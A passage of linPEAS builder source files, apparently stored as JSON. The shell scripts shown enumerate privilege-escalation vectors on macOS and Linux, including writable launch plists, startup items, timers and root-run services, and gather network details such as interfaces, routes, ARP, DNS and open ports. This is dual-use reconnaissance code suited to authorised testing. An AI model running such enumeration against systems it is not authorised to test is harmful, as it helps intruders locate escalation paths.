~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/; do\n      [ ! -d \"$plist_dir\" ] && continue\n      \n      echo \"Checking $plist_dir...\"\n      find \"$plist_dir\" -name \"*.plist\" 2>/dev/null | while read -r plist; do\n        # Check if plist is writable\n        if [ -w \"$plist\" ]; then\n          echo \"Writable plist: $plist\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n        fi\n\n        # Get program path\n        program=\"\"\n        program=$(defaults read \"$plist\" Program 2>/dev/null)\n        if ! [ \"$program\" ]; then\n          program=$(defaults read \"$plist\" ProgramArguments 2>/dev/null | grep -Ev \"^\\(|^\\)\" | cut -d '\"' -f 2)\n        fi\n\n        # Check if program is writable\n        if [ -n \"$program\" ] && [ -w \"$program\" ]; then\n          echo \"Writable program: $program\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n          ls -l \"$program\" 2>/dev/null\n        fi\n\n        # Check plist content for privilege escalation vectors\n        check_plist_content \"$plist\"\n      done\n    done\n    echo \"\"\n\n    print_2title \"StartupItems\" \"T1543.001\"\n    print_info \"https://book.hacktricks.wiki/en/macos-hardening/macos-auto-start-locations.html#startup-items\"\n    for startup_dir in /Library/StartupItems/ /System/Library/StartupItems/; do\n      [ ! -d \"$startup_dir\" ] && continue\n      echo \"Checking $startup_dir...\"\n      find \"$startup_dir\" -type f -executable 2>/dev/null | while read -r startup_item; do\n        if [ -w \"$startup_item\" ]; then\n          echo \"Writable startup item: $startup_item\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n          ls -l \"$startup_item\" 2>/dev/null\n        fi\n      done\n    done\n    echo \"\"\n\n    print_2title \"Login Items\" \"T1543.001\"\n    print_info \"https://book.hacktricks.wiki/en/macos-hardening/macos-auto-start-locations.html#startup-items\"\n    osascript -e 'tell application \"System Events\" to get the name of every login item' 2>/dev/null | tr \", \" \"\\n\" | while read -r login_item; do\n      if [ -n \"$login_item\" ]; then\n        # Try to find the actual binary\n        binary_path=$(mdfind \"kMDItemDisplayName == '$login_item'\" 2>/dev/null | head -n 1)\n        if [ -n \"$binary_path\" ] && [ -w \"$binary_path\" ]; then\n          echo \"Writable login item binary: $binary_path\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n          ls -l \"$binary_path\" 2>/dev/null\n        fi\n      fi\n    done\n    echo \"\"\n\n    print_2title \"SPStartupItemDataType\" \"T1543.001\"\n    system_profiler SPStartupItemDataType 2>/dev/null | while read -r line; do\n      if echo \"$line\" | grep -q \"Location:\"; then\n        location=$(echo \"$line\" | cut -d: -f2- | xargs)\n        if [ -w \"$location\" ]; then\n          echo \"Writable startup item location: $location\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n          ls -l \"$location\" 2>/dev/null\n        fi\n      fi\n    done\n    echo \"\"\n\n    print_2title \"Emond scripts\" \"T1543.001\"\n    print_info \"https://book.hacktricks.wiki/en/macos-hardening/macos-auto-start-locations.html#emond\"\n    if [ -d \"/private/var/db/emondClients\" ]; then\n      find \"/private/var/db/emondClients\" -type f 2>/dev/null | while read -r emond_script; do\n        if [ -w \"$emond_script\" ]; then\n          echo \"Writable emond script: $emond_script\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n          ls -l \"$emond_script\" 2>/dev/null\n        fi\n      done\n    fi\n    echo \"\"\n\n    print_2title \"Periodic tasks\" \"T1543.001\"\n    print_info \"Checking periodic tasks for privilege escalation vectors\"\n    for periodic_dir in /etc/periodic/daily /etc/periodic/weekly /etc/periodic/monthly; do\n      [ ! -d \"$periodic_dir\" ] && continue\n      echo \"Checking $periodic_dir...\"\n      find \"$periodic_dir\" -type f -executable 2>/dev/null | while read -r periodic_script; do\n        if [ -w \"$periodic_script\" ]; then\n          echo \"Writable periodic script: $periodic_script\" | sed -${E} \"s,.*,${SED_RED_YELLOW},\"\n          ls -l \"$periodic_script\" 2>/dev/null\n        fi\n      done\n    done\n    echo \"\"\n  fi\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_System_timers.sh",
    "content": "# Title: Processes & Cron & Services & Timers - System Timers\n# ID: PR_System_timers\n# Author: Carlos Polop\n# Last Update: 2024-03-19\n# Description: System Timers and privilege escalation vectors\n# License: GNU GPL\n# Version: 1.2\n# Mitre: T1053.003\n# Functions Used: echo_not_found, print_2title, print_info, print_3title\n# Global Variables: $SEARCH_IN_FOLDER, $timersG\n# Initial Functions:\n# Generated Global Variables: $timer_unit, $timer_path, $timer_content, $exec_path, $timer_file, $line, $findings, $unit_path, $finding, $service_unit, $timer, $target_unit, $target_file\n# Fat linpeas: 0\n# Small linpeas: 1\n\nif ! [ \"$SEARCH_IN_FOLDER\" ]; then\n  print_2title \"System timers\" \"T1053.003\"\n  print_info \"https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#timers\"\n\n  # Function to check timer content for privilege escalation vectors\n  check_timer_content() {\n    local timer=\"$1\"\n    local findings=\"\"\n    \n    # Get the service unit this timer activates\n    local service_unit=$(systemctl show \"$timer\" -p Unit 2>/dev/null | cut -d= -f2)\n    if [ -n \"$service_unit\" ]; then\n      # Check if the service runs with elevated privileges\n      if systemctl show \"$service_unit\" -p User 2>/dev/null | grep -q \"root\"; then\n        findings=\"${findings}RUNS_AS_ROOT: Service runs as root\\n\"\n      fi\n\n      # Get the executable path\n      local exec_path=$(systemctl show \"$service_unit\" -p ExecStart 2>/dev/null | cut -d= -f2 | cut -d' ' -f1)\n      if [ -n \"$exec_path\" ]; then\n        if [ -w \"$exec_path\" ]; then\n          findings=\"${findings}WRITABLE_EXEC: Executable is writable: $exec_path\\n\"\n        fi\n        # Check for relative paths\n        case \"$exec_path\" in\n          /*) : ;; # Absolute path, do nothing\n          *) findings=\"${findings}RELATIVE_PATH: Uses relative path: $exec_path\\n\" ;;\n        esac\n      fi\n\n      # Check for unsafe configurations\n      if systemctl show \"$service_unit\" -p ExecStart 2>/dev/null | grep -qE '(chmod|chown|mount|sudo|su)'; then\n        findings=\"${findings}UNSAFE_CMD: Uses potentially dangerous commands\\n\"\n      fi\n\n      # Check for weak permissions\n      if [ -e \"$exec_path\" ] && [ \"$(stat -c %a \"$exec_path\" 2>/dev/null)\" = \"777\" ]; then\n        findings=\"${findings}WEAK_PERMS: Executable has 777 permissions\\n\"\n      fi\n    fi\n\n    # If any findings, print them\n    if [ -n \"$findings\" ]; then\n      echo \"Potential privilege escalation in timer: $timer\"\n      echo \"$findings\" | while read -r finding; do\n        [ -n \"$finding\" ] && echo \"  └─ $finding\"\n      done\n    fi\n  }\n\n  # Function to check timer file for privilege escalation vectors\n  check_timer_file() {\n    local timer_file=\"$1\"\n    local findings=\"\"\n\n    # Check if timer file is writable (following symlinks)\n    if [ -L \"$timer_file\" ]; then\n      # If it's a symlink, check the target file\n      local target_file=$(readlink -f \"$timer_file\")\n      if [ -w \"$target_file\" ]; then\n        findings=\"${findings}WRITABLE_FILE: Timer target file is writable: $target_file\\n\"\n      fi\n    elif [ -w \"$timer_file\" ]; then\n      findings=\"${findings}WRITABLE_FILE: Timer file is writable\\n\"\n    fi\n\n    # Check for weak permissions (following symlinks)\n    if [ \"$(stat -L -c %a \"$timer_file\" 2>/dev/null)\" = \"777\" ]; then\n      findings=\"${findings}WEAK_PERMS: Timer file has 777 permissions\\n\"\n    fi\n\n    # Check for relative paths in Unit directive\n    if grep -q \"^Unit=[^/]\" \"$timer_file\" 2>/dev/null; then\n      findings=\"${findings}RELATIVE_PATH: Uses relative path in Unit directive\\n\"\n    fi\n\n    # Check for writable executables in Unit directive (following symlinks)\n    local unit_path=$(grep -Po '^Unit=*(.*?$)' \"$timer_file\" 2>/dev/null | cut -d '=' -f2)\n    if [ -n \"$unit_path\" ]; then\n      if [ -L \"$unit_path\" ]; then\n        local target_unit=$(readlink -f \"$unit_path\")\n        if [ -w \"$target_unit\" ]; then\n          findings=\"${findings}WRITABLE_UNIT: Unit target file is writable: $target_unit\\n\"\n        fi\n      elif [ -w \"$unit_path\" ]; then\n        findings=\"${findings}WRITABLE_UNIT: Unit file is writable: $unit_path\\n\"\n      fi\n    fi\n\n    # If any findings, print them\n    if [ -n \"$findings\" ]; then\n      echo \"Potential privilege escalation in timer file: $timer_file\"\n      echo \"$findings\" | while read -r finding; do\n        [ -n \"$finding\" ] && echo \"  └─ $finding\"\n      done\n    fi\n  }\n\n  # List all timers and check for privilege escalation vectors\n  print_3title \"Active timers:\" \"T1053.003\"\n  systemctl list-timers --all 2>/dev/null | grep -Ev \"(^$|timers listed)\" | while read -r line; do\n    # Extract timer unit name\n    timer_unit=$(echo \"$line\" | awk '{print $1}')\n    if [ -n \"$timer_unit\" ]; then\n      # Check if timer file is writable\n      timer_path=$(systemctl show \"$timer_unit\" -p FragmentPath 2>/dev/null | cut -d= -f2)\n      if [ -n \"$timer_path\" ]; then\n        check_timer_file \"$timer_path\"\n      fi\n\n      # Check timer content for privilege escalation vectors\n      check_timer_content \"$timer_unit\"\n\n      # Print the timer line with highlighting\n      echo \"$line\" | sed -${E} \"s,$timersG,${SED_GREEN},\"\n    fi\n  done || echo_not_found\n\n  # Check for disabled but available timers\n  print_3title \"Disabled timers:\" \"T1053.003\"\n  systemctl list-unit-files --type=timer --state=disabled 2>/dev/null | grep -v \"UNIT FILE\" | while read -r line; do\n    timer_unit=$(echo \"$line\" | awk '{print $1}')\n    if [ -n \"$timer_unit\" ]; then\n      timer_path=$(systemctl show \"$timer_unit\" -p FragmentPath 2>/dev/null | cut -d= -f2)\n      if [ -n \"$timer_path\" ]; then\n        check_timer_file \"$timer_path\"\n      fi\n    fi\n  done || echo_not_found\n\n  # Check timer files from PSTORAGE_TIMER\n  if [ -n \"$PSTORAGE_TIMER\" ]; then\n    print_3title \"Additional timer files:\" \"T1053.003\"\n    printf \"%s\\n\" \"$PSTORAGE_TIMER\" | while read -r timer_file; do\n      if [ -n \"$timer_file\" ] && [ -e \"$timer_file\" ]; then\n        check_timer_file \"$timer_file\"\n      fi\n    done\n  fi\n\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/10_Macos_hardware_ports.sh",
    "content": "# Title: Network Information - MacOS hardware ports\n# ID: NT_Macos_hardware_ports\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Enumerate macOS hardware ports\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1016\n# Functions Used: print_2title\n# Global Variables: $EXTRA_CHECKS, $MACPEAS\n# Initial Functions:\n# Generated Global Variables:\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\nif [ \"$MACPEAS\" ] && [ \"$EXTRA_CHECKS\" ]; then\n  print_2title \"Hardware Ports\" \"T1016\"\n  networksetup -listallhardwareports\n  echo \"\"\n\n  print_2title \"VLANs\" \"T1016\"\n  networksetup -listVLANs\n  echo \"\"\n\n  print_2title \"Wifi Info\" \"T1016\"\n  networksetup -getinfo Wi-Fi\n  echo \"\"\n\n  print_2title \"Check Enabled Proxies\" \"T1016\"\n  scutil --proxy\n  echo \"\"\n\n  print_2title \"Wifi Proxy URL\" \"T1016\"\n  networksetup -getautoproxyurl Wi-Fi\n  echo \"\"\n  \n  print_2title \"Wifi Web Proxy\" \"T1016\"\n  networksetup -getwebproxy Wi-Fi\n  echo \"\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh",
    "content": "# Title: Network Information - Internet access\n# ID: NT_Internet_access\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check for internet access\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1016,T1590\n# Functions Used: check_dns, check_icmp, check_tcp_443, check_tcp_443_bin, check_tcp_80, print_2title, print_3title, print_info, check_external_hostname\n# Global Variables: $E\n# Initial Functions:\n# Generated Global Variables: $pid4, $pid2, $pid1, $pid3, $tcp443_bin_status, $NOT_CHECK_EXTERNAL_HOSTNAME, $TIMEOUT_INTERNET_SECONDS\n# Fat linpeas: 0\n# Small linpeas: 0\n\n\n\nprint_2title \"Internet Access?\" \"T1016,T1590\"\nTIMEOUT_INTERNET_SECONDS=5\n\nif [ \"$SUPERFAST\" ]; then\n  TIMEOUT_INTERNET_SECONDS=2.5\nfi\n\n\n# Run all checks in background\ncheck_tcp_80 \"$TIMEOUT_INTERNET_SECONDS\" 2>/dev/null & pid1=$!\ncheck_tcp_443 \"$TIMEOUT_INTERNET_SECONDS\" 2>/dev/null & pid2=$!\ncheck_icmp \"$TIMEOUT_INTERNET_SECONDS\" 2>/dev/null & pid3=$!\ncheck_dns \"$TIMEOUT_INTERNET_SECONDS\" 2>/dev/null & pid4=$!\n\n# Kill all check workers after timeout + 1s without relying on integer arithmetic\n(sleep \"$TIMEOUT_INTERNET_SECONDS\"; sleep 1; kill -9 $pid1 $pid2 $pid3 $pid4 2>/dev/null) &\n\ncheck_tcp_443_bin $TIMEOUT_INTERNET_SECONDS 2>/dev/null\ntcp443_bin_status=$?\n\nwait $pid1 $pid2 $pid3 $pid4 2>/dev/null\n\n\n# Wait for all to finish\nwait 2>/dev/null\n\nif [ \"$tcp443_bin_status\" -eq 0 ] && \\\n   [ -z \"$SUPERFAST\" ] && [ -z \"$NOT_CHECK_EXTERNAL_HOSTNAME\" ]; then\n  echo \"\"\n  print_2title \"Is hostname malicious or leaked?\" \"T1016,T1590\"\n  print_info \"This will check the public IP and hostname in known malicious lists and leaks to find any relevant information about the host.\"\n  check_external_hostname 2>/dev/null\nfi\n\necho \"\"\nprint_3title \"Proxy discovery\" \"T1016,T1590\"\nprint_info \"Checking common proxy env vars and apt proxy config\"\n(env | grep -iE '^(http|https|ftp|all)_proxy=|^no_proxy=') 2>/dev/null | sed -${E} \"s,_proxy|no_proxy,${SED_RED_YELLOW},g\"\ngrep -RinE 'Acquire::(http|https)::Proxy|proxy' /etc/apt/apt.conf /etc/apt/apt.conf.d 2>/dev/null | sed -${E} \"s,proxy|Acquire::http::Proxy|Acquire::https::Proxy,${SED_RED_YELLOW},g\"\n\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/1_Network_interfaces.sh",
    "content": "# Title: Network Information - Network interfaces\n# ID: NT_Network_interfaces\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check network interfaces\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1016\n# Functions Used: print_2title, print_3title\n# Global Variables: $E, $SED_RED_YELLOW\n# Initial Functions:\n# Generated Global Variables: $iface, $state, $mac, $ip_file, $line\n# Fat linpeas: 0\n# Small linpeas: 1\n\n# Function to parse network interfaces from /proc/net/dev and other sources\nparse_network_interfaces() {\n    # Try to get interfaces from /proc/net/dev\n    if [ -f \"/proc/net/dev\" ]; then\n        echo \"Network Interfaces from /proc/net/dev:\"\n        echo \"----------------------------------------\"\n        # Skip header lines and format output\n        grep -v \"^Inter\\|^ face\" /proc/net/dev | while read -r line; do\n            iface=$(echo \"$line\" | awk -F: '{print $1}' | tr -d ' ')\n            if [ -n \"$iface\" ]; then\n                echo \"Interface: $iface\"\n                # Try to get IP address from /sys/class/net\n                if [ -f \"/sys/class/net/$iface/address\" ]; then\n                    mac=$(cat \"/sys/class/net/$iface/address\" 2>/dev/null)\n                    echo \"  MAC: $mac\"\n                fi\n                # Try to get IP from /sys/class/net\n                if [ -d \"/sys/class/net/$iface/ipv4\" ]; then\n                    for ip_file in /sys/class/net/$iface/ipv4/addr_*; do\n                        if [ -f \"$ip_file\" ]; then\n                            ip=$(cat \"$ip_file\" 2>/dev/null)\n                            echo \"  IP: $ip\"\n                        fi\n                    done\n                fi\n                # Get interface state\n                if [ -f \"/sys/class/net/$iface/operstate\" ]; then\n                    state=$(cat \"/sys/class/net/$iface/operstate\" 2>/dev/null)\n                    echo \"  State: $state\"\n                fi\n                echo \"\"\n            fi\n        done\n    fi\n\n    # Try to get additional info from /proc/net/fib_trie\n    if [ -f \"/proc/net/fib_trie\" ]; then\n        echo \"Additional IP Information from fib_trie:\"\n        echo \"----------------------------------------\"\n        grep -A1 \"Main\" /proc/net/fib_trie | grep -v \"\\-\\-\" | while read -r line; do\n            if echo \"$line\" | grep -q \"Main\"; then\n                echo \"Network: $(echo \"$line\" | awk '{print $2}')\"\n            elif echo \"$line\" | grep -q \"/\"; then\n                echo \"  IP: $(echo \"$line\" | awk '{print $2}')\"\n            fi\n        done\n    fi\n}\n\nprint_2title \"Interfaces\" \"T1016\"\ncat /etc/networks 2>/dev/null\n\n# Try standard tools first, then fall back to our custom function\nif command -v ifconfig >/dev/null 2>&1; then\n    ifconfig 2>/dev/null\nelif command -v ip >/dev/null 2>&1; then\n    ip a 2>/dev/null\nelse\n    parse_network_interfaces\nfi\n\nif command -v ip >/dev/null 2>&1; then\n    print_3title \"Routing & policy quick view\" \"T1016\"\n    ip route 2>/dev/null\n    ip -6 route 2>/dev/null | head -n 30\n    echo \"\"\n    ip rule 2>/dev/null\n\n    print_3title \"Virtual/overlay interfaces quick view\" \"T1016\"\n    ip -d link 2>/dev/null | grep -E \"^[0-9]+:|veth|docker|cni|flannel|br-|bridge|vlan|bond|tun|tap|wg|tailscale\" | sed -${E} \"s,veth|docker|cni|flannel|br-|bridge|vlan|bond|tun|tap|wg|tailscale,${SED_RED_YELLOW},g\"\n\n    print_3title \"Network namespaces quick view\" \"T1016\"\n    ip netns list 2>/dev/null\n    ls -la /var/run/netns/ 2>/dev/null\nfi\n\nprint_3title \"Forwarding status\" \"T1016\"\nsysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding 2>/dev/null | sed -${E} \"s,=[[:space:]]*1,${SED_RED_YELLOW},g\"\n\necho \"\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/2_Hostname_hosts_dns.sh",
    "content": "# Title: Network Information - Hostname, hosts and DNS\n# ID: NT_Hostname_hosts_dns\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Get hostname, hosts and DNS\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1016,T1018\n# Functions Used: print_2title, warn_exec\n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $conf, $line\n# Fat linpeas: 0\n# Small linpeas: 1\n\n# Function to get hostname using multiple methods\nget_hostname_info() {\n    print_3title \"Hostname Information\" \"T1016,T1018\"\n    # Try multiple methods to get hostname\n    if command -v hostname >/dev/null 2>&1; then\n        echo \"System hostname: $(hostname 2>/dev/null)\"\n        echo \"FQDN: $(hostname -f 2>/dev/null)\"\n    else\n        # Fallback methods\n        if [ -f \"/proc/sys/kernel/hostname\" ]; then\n            echo \"System hostname: $(cat /proc/sys/kernel/hostname 2>/dev/null)\"\n        fi\n        if [ -f \"/etc/hostname\" ]; then\n            echo \"Hostname from /etc/hostname: $(cat /etc/hostname 2>/dev/null)\"\n        fi\n    fi\n    echo \"\"\n}\n\n# Function to get hosts file information\nget_hosts_info() {\n    print_3title \"Hosts File Information\" \"T1016,T1018\"\n    if [ -f \"/etc/hosts\" ]; then\n        echo \"Contents of /etc/hosts:\"\n        grep -v \"^#\" /etc/hosts 2>/dev/null | grep -v \"^$\" | while read -r line; do\n            echo \"  $line\"\n        done\n    fi\n    echo \"\"\n}\n\n# Function to get DNS information\nget_dns_info() {\n    print_3title \"DNS Configuration\" \"T1016,T1018\"\n    # Get resolv.conf information\n    if [ -f \"/etc/resolv.conf\" ]; then\n        echo \"DNS Servers (resolv.conf):\"\n        grep -v \"^#\" /etc/resolv.conf 2>/dev/null | grep -v \"^$\" | while read -r line; do\n            if echo \"$line\" | grep -q \"nameserver\"; then\n                echo \"  $(echo \"$line\" | awk '{print $2}')\"\n            elif echo \"$line\" | grep -q \"search\\|domain\"; then\n                echo \"  $line\"\n            fi\n        done\n    fi\n\n    # Check for systemd-resolved configuration\n    if [ -f \"/etc/systemd/resolved.conf\" ]; then\n        echo -e \"\\nSystemd-resolved configuration:\"\n        grep -v \"^#\" /etc/systemd/resolved.conf 2>/dev/null | grep -v \"^$\" | while read -r line; do\n            echo \"  $line\"\n        done\n    fi\n\n    # Check for NetworkManager DNS settings\n    if [ -d \"/etc/NetworkManager\" ]; then\n        echo -e \"\\nNetworkManager DNS settings:\"\n        find /etc/NetworkManager -type f -name \"*.conf\" 2>/dev/null | while read -r conf; do\n            if grep -q \"dns=\" \"$conf\" 2>/dev/null; then\n                echo \"  From $conf:\"\n                grep \"dns=\" \"$conf\" 2>/dev/null | while read -r line; do\n                    echo \"    $line\"\n                done\n            fi\n        done\n    fi\n\n    # Try to get DNS domain name\n    echo -e \"\\nDNS Domain Information:\"\n    if command -v dnsdomainname >/dev/null 2>&1; then\n        warn_exec dnsdomainname 2>/dev/null\n    fi\n    if command -v domainname >/dev/null 2>&1; then\n        warn_exec domainname 2>/dev/null\n    fi\n\n    # Check for DNS cache status\n    if command -v systemd-resolve >/dev/null 2>&1; then\n        echo -e \"\\nDNS Cache Status (systemd-resolve):\"\n        systemd-resolve --status 2>/dev/null | grep -A5 \"DNS Servers\" | grep -v \"\\-\\-\" | while read -r line; do\n            echo \"  $line\"\n        done\n    fi\n    echo \"\"\n}\n\nprint_2title \"Hostname, hosts and DNS\" \"T1016,T1018\"\n# Execute all information gathering functions\nget_hostname_info\nget_hosts_info\nget_dns_info"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/3_Network_neighbours.sh",
    "content": "# Title: Network Information - Network neighbours\n# ID: NT_Network_neighbours\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Networks and neighbours\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1018,T1040\n# Functions Used: print_2title, print_3title\n# Global Variables: $EXTRA_CHECKS, $MACPEAS\n# Initial Functions:\n# Generated Global Variables: $hwtype, $flags, $line, $iface, $dest, $ref, $use, $mask, $metric, $device, $hwaddr\n# Fat linpeas: 0\n# Small linpeas: 0\n\n# Function to parse routing information from /proc/net/route\nparse_proc_route() {\n    print_3title \"Routing Table (from /proc/net/route)\" \"T1018,T1040\"\n    echo \"Destination         Gateway         Genmask         Flags Metric Ref    Use Iface\"\n    echo \"--------------------------------------------------------------------------------\"\n    # Skip header line and process each route\n    tail -n +2 /proc/net/route 2>/dev/null | while read -r line; do\n        if [ -n \"$line\" ]; then\n            # Extract fields\n            iface=$(echo \"$line\" | awk '{print $1}')\n            dest=$(printf \"%d.%d.%d.%d\" $(echo \"$line\" | awk '{printf \"0x%s 0x%s 0x%s 0x%s\", substr($2,7,2), substr($2,5,2), substr($2,3,2), substr($2,1,2)}'))\n            gw=$(printf \"%d.%d.%d.%d\" $(echo \"$line\" | awk '{printf \"0x%s 0x%s 0x%s 0x%s\", substr($3,7,2), substr($3,5,2), substr($3,3,2), substr($3,1,2)}'))\n            mask=$(printf \"%d.%d.%d.%d\" $(echo \"$line\" | awk '{printf \"0x%s 0x%s 0x%s 0x%s\", substr($4,7,2), substr($4,5,2), substr($4,3,2), substr($4,1,2)}'))\n            flags=$(echo \"$line\" | awk '{print $5}')\n            metric=$(echo \"$line\" | awk '{print $6}')\n            ref=$(echo \"$line\" | awk '{print $7}')\n            use=$(echo \"$line\" | awk '{print $8}')\n            \n            # Print formatted output\n            printf \"%-18s %-15s %-15s %-6s %-6s %-6s %-6s %s\\n\" \"$dest\" \"$gw\" \"$mask\" \"$flags\" \"$metric\" \"$ref\" \"$use\" \"$iface\"\n        fi\n    done\n    echo \"\"\n}\n\n# Function to parse ARP information from /proc/net/arp\nparse_proc_arp() {\n    print_3title \"ARP Table (from /proc/net/arp)\" \"T1018,T1040\"\n    echo \"IP address       HW type     Flags     HW address           Mask     Device\"\n    echo \"------------------------------------------------------------------------\"\n    # Skip header line and process each ARP entry\n    tail -n +2 /proc/net/arp 2>/dev/null | while read -r line; do\n        if [ -n \"$line\" ]; then\n            ip=$(echo \"$line\" | awk '{print $1}')\n            hwtype=$(echo \"$line\" | awk '{print $2}')\n            flags=$(echo \"$line\" | awk '{print $3}')\n            hwaddr=$(echo \"$line\" | awk '{print $4}')\n            mask=$(echo \"$line\" | awk '{print $5}')\n            device=$(echo \"$line\" | awk '{print $6}')\n            \n            # Print formatted output\n            printf \"%-15s %-11s %-9s %-18s %-8s %s\\n\" \"$ip\" \"$hwtype\" \"$flags\" \"$hwaddr\" \"$mask\" \"$device\"\n        fi\n    done\n    echo \"\"\n}\n\n# Function to get network neighbors information\nget_network_neighbors() {\n    print_2title \"Networks and neighbours\" \"T1018,T1040\"\n    # Get routing information\n    print_3title \"Routing Information\" \"T1018,T1040\"\n    if [ \"$MACPEAS\" ]; then\n        # macOS specific\n        if command -v netstat >/dev/null 2>&1; then\n            netstat -rn 2>/dev/null\n        else\n            echo \"No routing information available\"\n        fi\n    else\n        # Linux systems\n        if command -v ip >/dev/null 2>&1; then\n            ip route 2>/dev/null\n            echo -e \"\\nNeighbor table:\"\n            ip neigh 2>/dev/null\n        elif command -v route >/dev/null 2>&1; then\n            route -n 2>/dev/null\n        elif [ -f \"/proc/net/route\" ]; then\n            parse_proc_route\n        else\n            echo \"No routing information available\"\n        fi\n    fi\n\n    # Get ARP information\n    print_3title \"ARP Information\" \"T1018,T1040\"\n    if command -v arp >/dev/null 2>&1; then\n        if [ \"$MACPEAS\" ]; then\n            arp -a 2>/dev/null\n        else\n            arp -e 2>/dev/null || arp -a 2>/dev/null\n        fi\n    elif [ -f \"/proc/net/arp\" ]; then\n        parse_proc_arp\n    else\n        echo \"No ARP information available\"\n    fi\n\n    # Additional neighbor discovery methods\n    print_3title \"Additional Neighbor Information\" \"T1018,T1040\"\n    # Check for IPv6 neighbors if available\n    if [ -f \"/proc/net/ipv6_neigh\" ]; then\n        echo \"IPv6 Neighbors:\"\n        cat /proc/net/ipv6_neigh 2>/dev/null | grep -v \"^IP\" | while read -r line; do\n            if [ -n \"$line\" ]; then\n                echo \"  $line\"\n            fi\n        done\n    fi\n\n    # Try to get LLDP neighbors if available\n    if command -v lldpctl >/dev/null 2>&1; then\n        echo -e \"\\nLLDP Neighbors:\"\n        lldpctl 2>/dev/null | grep -A2 \"Interface:\" | while read -r line; do\n            echo \"  $line\"\n        done\n    fi\n\n    # Try to get CDP neighbors if available\n    if command -v cdp >/dev/null 2>&1; then\n        echo -e \"\\nCDP Neighbors:\"\n        cdp 2>/dev/null | grep -v \"^$\" | while read -r line; do\n            echo \"  $line\"\n        done\n    fi\n\n    echo \"\"\n}\n\nif [ \"$EXTRA_CHECKS\" ]; then\n    get_network_neighbors\nfi\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh",
    "content": "# Title: Network Information - Open ports\n# ID: NT_Open_ports\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Enumerate open ports\n# License: GNU GPL\n# Version: 1.0\n# Mitre: T1049\n# Functions Used: print_2title, print_3title, print_info\n# Global Variables: $E, $SED_RED, $SED_RED_YELLOW\n# Initial Functions:\n# Generated Global Variables: $pid_dir, $tx_queue, $pid, $rem_port, $proc_file, $rem_ip, $local_ip, $rx_queue, $proto, $rem_addr, $program, $state, $header_sep, $proc_info, $inode, $header, $line, $local_addr, $local_port\n# Fat linpeas: 0\n# Small linpeas: 1\n\n# Function to get process info from inode\nget_process_info() {\n    local inode=$1\n    local pid=\"\"\n    local program=\"\"\n    \n    if [ -n \"$inode\" ]; then\n        for pid_dir in /proc/[0-9]*/fd; do\n            if [ -d \"$pid_dir\" ]; then\n                if ls -l \"$pid_dir\" 2>/dev/null | grep -q \"$inode\"; then\n                    pid=$(echo \"$pid_dir\" | awk -F/ '{print $3}')\n                    if [ -f \"/proc/$pid/cmdline\" ]; then\n                        program=$(tr '\\0' ' ' < \"/proc/$pid/cmdline\" | cut -d' ' -f1)\n                        program=$(basename \"$program\")\n                    fi\n                    break\n                fi\n            fi\n        done\n    fi\n    echo \"$pid/$program\"\n}\n\n# Function to parse /proc/net/tcp and /proc/net/udp files\nparse_proc_net_ports() {\n    local proto=$1\n    local proc_file=\"/proc/net/$proto\"\n    local header=\"Proto  Recv-Q  Send-Q  Local Address          Foreign Address        State       PID/Program name\"\n    local header_sep=\"--------------------------------------------------------------------------------\"\n\n    if [ -f \"$proc_file\" ]; then\n        print_3title \"Active $proto Ports (from /proc/net/$proto)\" \"T1049\"\n        echo \"$header\"\n        echo \"$header_sep\"\n\n        # Process each connection using a pipe\n        tail -n +2 \"$proc_file\" 2>/dev/null | while IFS= read -r line; do\n            [ -z \"$line\" ] && continue\n            \n            # Skip header\n            case \"$line\" in\n                *\"sl\"*) continue ;;\n                *) : ;;\n            esac\n\n            # Extract fields using awk\n            sl=$(echo \"$line\" | awk '{print $1}')\n            local_addr=$(echo \"$line\" | awk '{print $2}')\n            rem_addr=$(echo \"$line\" | awk '{print $3}')\n            st=$(echo \"$line\" | awk '{print $4}')\n            tx_queue=$(echo \"$line\" | awk '{print $5}')\n            rx_queue=$(echo \"$line\" | awk '{print $6}')\n            uid=$(echo \"$line\" | awk '{print $7}')\n            inode=$(echo \"$line\" | awk '{print $10}')\n\n            # Convert hex IP:port to decimal\n            local_ip=$(printf \"%d.%d.%d.%d\" $(echo \"$local_addr\" | awk -F: '{printf \"0x%s 0x%s 0x%s 0x%s\", substr($1,7,2), substr($1,5,2), substr($1,3,2), substr($1,1,2)}'))\n            local_port=$(printf \"%d\" \"0x$(echo \"$local_addr\" | awk -F: '{print $2}')\")\n            rem_ip=$(printf \"%d.%d.%d.%d\" $(echo \"$rem_addr\" | awk -F: '{printf \"0x%s 0x%s 0x%s 0x%s\", substr($1,7,2), substr($1,5,2), substr($1,3,2), substr($1,1,2)}'))\n            rem_port=$(printf \"%d\" \"0x$(echo \"$rem_addr\" | awk -F: '{print 